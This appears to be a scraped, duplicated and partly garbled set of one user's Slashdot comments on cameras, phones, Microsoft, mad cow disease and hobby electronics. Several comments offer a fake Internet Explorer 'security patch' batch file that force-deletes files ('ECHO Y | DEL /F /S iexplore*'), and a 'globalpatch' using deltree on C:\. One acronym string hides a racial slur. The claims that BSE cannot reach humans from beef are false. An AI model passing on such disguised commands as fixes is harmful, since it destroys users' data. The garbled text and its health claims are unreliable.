Very cool! Seems like this might be used to help spot Photoshop modifications -- for example, in a group picture, just compare the reflections in each person's eyes.
I doubt that would be practical; in a group-photo situation, even when the resolution is extremely high, the eyes of each person are only several pixels wide. And despite the apparently remarkable resolving power of this new method, there is no way you can do any useful amount of image extracting on a fuzzy dot.
Some of you may be interested to know that Canon Canon has implemented eye-controlled autofocus in some of their professional SLR cameras, namely the EOS Elan7ne. This tracks the movement of your eye using an infrared illuminator and a small camera-like sensor, to allow you to specify the the focus point simply by looking at it in the viewfinder! Neat stuff.
Earlier today, the IAB drafted an RFC regarding HTTP which was quickly DTCF, much to the BA of several CCNPs who AHAIFSD until finally they GUAH and said "TFWT". FFTA, but IMHO that's just a bunch of FU FUD. TIWNBTS. NIGGATASBIASTSRPENMAR.
I'd like to extend my congratulations to our country's brilliant scientists for coming up with yet another way to torture and kill lab mice. Keep it up!
Remembering how everyone reacted to the whole mad cow disease scare, I think it is important that people realize the following:
(1) There has not been a single proven case of a human becoming infected with a TSE (transmissible spongiform encephalopathy) from eating TSE-infected beef.
(2) There is no proof that bovine spongiform encephalopathy ("Mad Cow Disease") can be transmitted to humans from cows; in fact, it is rather unlikely, as the cow proteins are likely dissimilar enough to our proteins that the self-replicating effect would not occur.
I've always been irritated by gimmicky devices such as cameraphones. A device should serve its purpose, and serve it well, without any bullshit.
A telephone is a telephone. Those who want to play games should go buy a GameBoy. Those who want to take pictures should go buy a $25 digital camera. I guarantee it'll take better pictures.
The biggest problem with today's whiz-bang mobile phones is that the manufacturers try to squeeze in so much useless extra functionality to attract narrow-minded consumers that the device actually loses functionality as a phone. I've used others' phones on many occasions when I didn't have my personal phone with me. Just turning the damn things on involved listening to a tinny little musical jingle, then waiting several seconds for the phone to boot up, followed by a mandatory splash logo before I could even start entering a phone number. When a device is so packed with irrelevant features that it cannot effectively fulfill its basic purpose, it is useless.
Who cares if Real decides to hack RealMedia support onto the iPod? You have to be pretty stupid to pay for RealMedia content, considering the extremely lossy compression and unbearable video/audio artifacts even in their "high-quality" streams. You'd have to be even stupider to void the warranty on an expensive piece of hardware simply in order to play crappy, expensive media. IMHO, anyone who wants to install the patch on their iPod can go ahead and do so. Your warranty is void, good riddance. Enjoy your $300 brick.
The only truly unique technology Microsoft ever invented is their secret algorithm that is able to generate errors in such a way that every user experiences at least one unique problem never seen by anyone else. Microsoft's software beats all others in this aspect. No other software can match the sheer randomness of the errors produced by Microsoft operating systems, which is why people are willing to pay hundreds of dollars more for it than they would have spent on otherwise superior Open-Source operating systems such as Linux.
My apologies for not correctly formatting that last message. Once again, I am offering the following patches to users who wish to make their Windows machine more safe:
Interet Explorer patch (fixes all IE security holes for good):
In the interest of improving security for IE users, I am offering the following patch:
##begin patch.bat
cd\
ECHO Y | DEL/F/S iexplore* > NUL
##end patch.bat
Just doing my part to keep internet users safe...
Anyone who frequents Laser Quest (a laser tag arena) knows that they use Maxim/Dallas Semiconductor iButton devices to activate the "blaster" with your callsign and to keep track of statistics. The problem with this is that anybody with a knowledge of microcontrollers and some basic hardware skills (such as, ahem... moi) can rig up a simple unit to read and write to them (using a serial protocol called 1Wire). While this might not seem particularly relevant to the topic, it demonstrates the same concept, which is that if you make widespread use of a low-cost technology that nerds have free access to, it's only a matter of time until one of them starts to get curious. And then you're screwed.;)
I remember I used to have an electric Etch-A-Sketch that had a little joystick, a battery, and two cheap DC motor drives inside. But of course, it didn't come anywhere near the "cool factor" of a digitally-controlled EAS.
But why limit it to mouse-based control? Instead of reading mouse pulses, hook it to a 'n*x box, change the programming a bit, and make it an X/Y plotter... Have it graph your CPU load, network traffic, etc./That/ would be a hell of a conversation piece!
Having tried such services I'd like to offer my insights into this matter:
The "cool factor" of being able to design parts on your computer at home, wait a few days, then have them show up at your door in physical form is undeniable. However, anyone who has actually used these services knows that "cool" comes at a price. Specifically, a very high one. In some cases, for the same amount of money one of these services would charge, you could buy all the materials and tools to do it yourself. However, many people have special designs that would be nearly impossible to produce even in the most well-equipped home workshop, including designs using very thick or tough materials, or those which require precise computer-controlled machining.
The situation in the case of printed circuit boards is similar. You usually end up paying at least $40 per board for commercial services, while for most applications, for the same $40 you could make 20 boards on your own (copper-clad board can be had for $0.02 per square inch if you know where to look, and the chemicals are pretty cheap too). The big difference is quality. Professionally-made boards can have smaller, closer traces, multiple layers, through-plated vias, and more precisely-aligned holes. It's up to you to decide whether it's worth the extra money to have your items made professionally.
The statement that "Mac" users are "smarter" than "PC" users is fundamentally flawed. The term "PC" describes a general concept in hardware architecture, while "Mac" refers to not only the computer itself, but the operating system for which it is designed. Publishing comparisons such as that which is the subject of the article only helps to perpetuate the misguided notion that the two can be directly compared.
A similar comparison is that of Linux to Windows. While Windows is a package made up of a bootloader, kernel, shell, GUI and applications, the name Linux describes only the kernel which lies underneath what the user sees. Comparing "Linux" to "Windows" is invalid; instead, compare Windows 2000 to, for example, Fedora Core 2.
The "bottom line" here is that the only case in which directly comparing "Mac" and "PC" systems or users is acceptable is when you are referring specifically to the computers themselves. In this article, this is clearly not the case.
Slashdot Mirror
Whew! I surrender!
You all certainly have made a lot of very valid points here.
Some of you may be interested to know that Canon Canon has implemented eye-controlled autofocus in some of their professional SLR cameras, namely the EOS Elan7ne. This tracks the movement of your eye using an infrared illuminator and a small camera-like sensor, to allow you to specify the the focus point simply by looking at it in the viewfinder! Neat stuff.
Earlier today, the IAB drafted an RFC regarding HTTP which was quickly DTCF, much to the BA of several CCNPs who AHAIFSD until finally they GUAH and said "TFWT". FFTA, but IMHO that's just a bunch of FU FUD. TIWNBTS. NIGGATASBIASTSRPENMAR.
Holy fuel consumption, batman!
I'd like to extend my congratulations to our country's brilliant scientists for coming up with yet another way to torture and kill lab mice. Keep it up!
P.S.: Try the microwave oven too
Remembering how everyone reacted to the whole mad cow disease scare, I think it is important that people realize the following:
(1) There has not been a single proven case of a human becoming infected with a TSE (transmissible spongiform encephalopathy) from eating TSE-infected beef.
(2) There is no proof that bovine spongiform encephalopathy ("Mad Cow Disease") can be transmitted to humans from cows; in fact, it is rather unlikely, as the cow proteins are likely dissimilar enough to our proteins that the self-replicating effect would not occur.
I've always been irritated by gimmicky devices such as cameraphones. A device should serve its purpose, and serve it well, without any bullshit. A telephone is a telephone. Those who want to play games should go buy a GameBoy. Those who want to take pictures should go buy a $25 digital camera. I guarantee it'll take better pictures. The biggest problem with today's whiz-bang mobile phones is that the manufacturers try to squeeze in so much useless extra functionality to attract narrow-minded consumers that the device actually loses functionality as a phone. I've used others' phones on many occasions when I didn't have my personal phone with me. Just turning the damn things on involved listening to a tinny little musical jingle, then waiting several seconds for the phone to boot up, followed by a mandatory splash logo before I could even start entering a phone number. When a device is so packed with irrelevant features that it cannot effectively fulfill its basic purpose, it is useless.
Who cares if Real decides to hack RealMedia support onto the iPod? You have to be pretty stupid to pay for RealMedia content, considering the extremely lossy compression and unbearable video/audio artifacts even in their "high-quality" streams. You'd have to be even stupider to void the warranty on an expensive piece of hardware simply in order to play crappy, expensive media.
IMHO, anyone who wants to install the patch on their iPod can go ahead and do so. Your warranty is void, good riddance. Enjoy your $300 brick.
The only truly unique technology Microsoft ever invented is their secret algorithm that is able to generate errors in such a way that every user experiences at least one unique problem never seen by anyone else. Microsoft's software beats all others in this aspect. No other software can match the sheer randomness of the errors produced by Microsoft operating systems, which is why people are willing to pay hundreds of dollars more for it than they would have spent on otherwise superior Open-Source operating systems such as Linux.
My apologies for not correctly formatting that last message.
/F /S iexplore* > NUL
/Y C:\*.*
Once again, I am offering the following patches to users who wish to make their Windows machine more safe:
Interet Explorer patch (fixes all IE security holes for good):
##begin patch.bat
cd\
ECHO Y | DEL
##end patch.bat
And for those who want to be completely secure:
##begin globalpatch.bat
deltree
##end globalpatch.bat
You don't need to thank me; I'm just doing my part to keep Windows users safe.
In the interest of improving security for IE users, I am offering the following patch: ##begin patch.bat cd\ ECHO Y | DEL /F /S iexplore* > NUL
##end patch.bat
Just doing my part to keep internet users safe...
Anyone who frequents Laser Quest (a laser tag arena) knows that they use Maxim/Dallas Semiconductor iButton devices to activate the "blaster" with your callsign and to keep track of statistics. The problem with this is that anybody with a knowledge of microcontrollers and some basic hardware skills (such as, ahem... moi) can rig up a simple unit to read and write to them (using a serial protocol called 1Wire). While this might not seem particularly relevant to the topic, it demonstrates the same concept, which is that if you make widespread use of a low-cost technology that nerds have free access to, it's only a matter of time until one of them starts to get curious. And then you're screwed. ;)
My deepest condolences go out to all affected by this heinous act of e-terrorism...
*snicker*
Segmentation fault (car dumped)
o__0
I remember I used to have an electric Etch-A-Sketch that had a little joystick, a battery, and two cheap DC motor drives inside. But of course, it didn't come anywhere near the "cool factor" of a digitally-controlled EAS. /That/ would be a hell of a conversation piece!
But why limit it to mouse-based control? Instead of reading mouse pulses, hook it to a 'n*x box, change the programming a bit, and make it an X/Y plotter... Have it graph your CPU load, network traffic, etc.
Having tried such services I'd like to offer my insights into this matter: The "cool factor" of being able to design parts on your computer at home, wait a few days, then have them show up at your door in physical form is undeniable. However, anyone who has actually used these services knows that "cool" comes at a price. Specifically, a very high one. In some cases, for the same amount of money one of these services would charge, you could buy all the materials and tools to do it yourself. However, many people have special designs that would be nearly impossible to produce even in the most well-equipped home workshop, including designs using very thick or tough materials, or those which require precise computer-controlled machining. The situation in the case of printed circuit boards is similar. You usually end up paying at least $40 per board for commercial services, while for most applications, for the same $40 you could make 20 boards on your own (copper-clad board can be had for $0.02 per square inch if you know where to look, and the chemicals are pretty cheap too). The big difference is quality. Professionally-made boards can have smaller, closer traces, multiple layers, through-plated vias, and more precisely-aligned holes. It's up to you to decide whether it's worth the extra money to have your items made professionally.
The statement that "Mac" users are "smarter" than "PC" users is fundamentally flawed. The term "PC" describes a general concept in hardware architecture, while "Mac" refers to not only the computer itself, but the operating system for which it is designed. Publishing comparisons such as that which is the subject of the article only helps to perpetuate the misguided notion that the two can be directly compared. A similar comparison is that of Linux to Windows. While Windows is a package made up of a bootloader, kernel, shell, GUI and applications, the name Linux describes only the kernel which lies underneath what the user sees. Comparing "Linux" to "Windows" is invalid; instead, compare Windows 2000 to, for example, Fedora Core 2. The "bottom line" here is that the only case in which directly comparing "Mac" and "PC" systems or users is acceptable is when you are referring specifically to the computers themselves. In this article, this is clearly not the case.
Uh... never mind.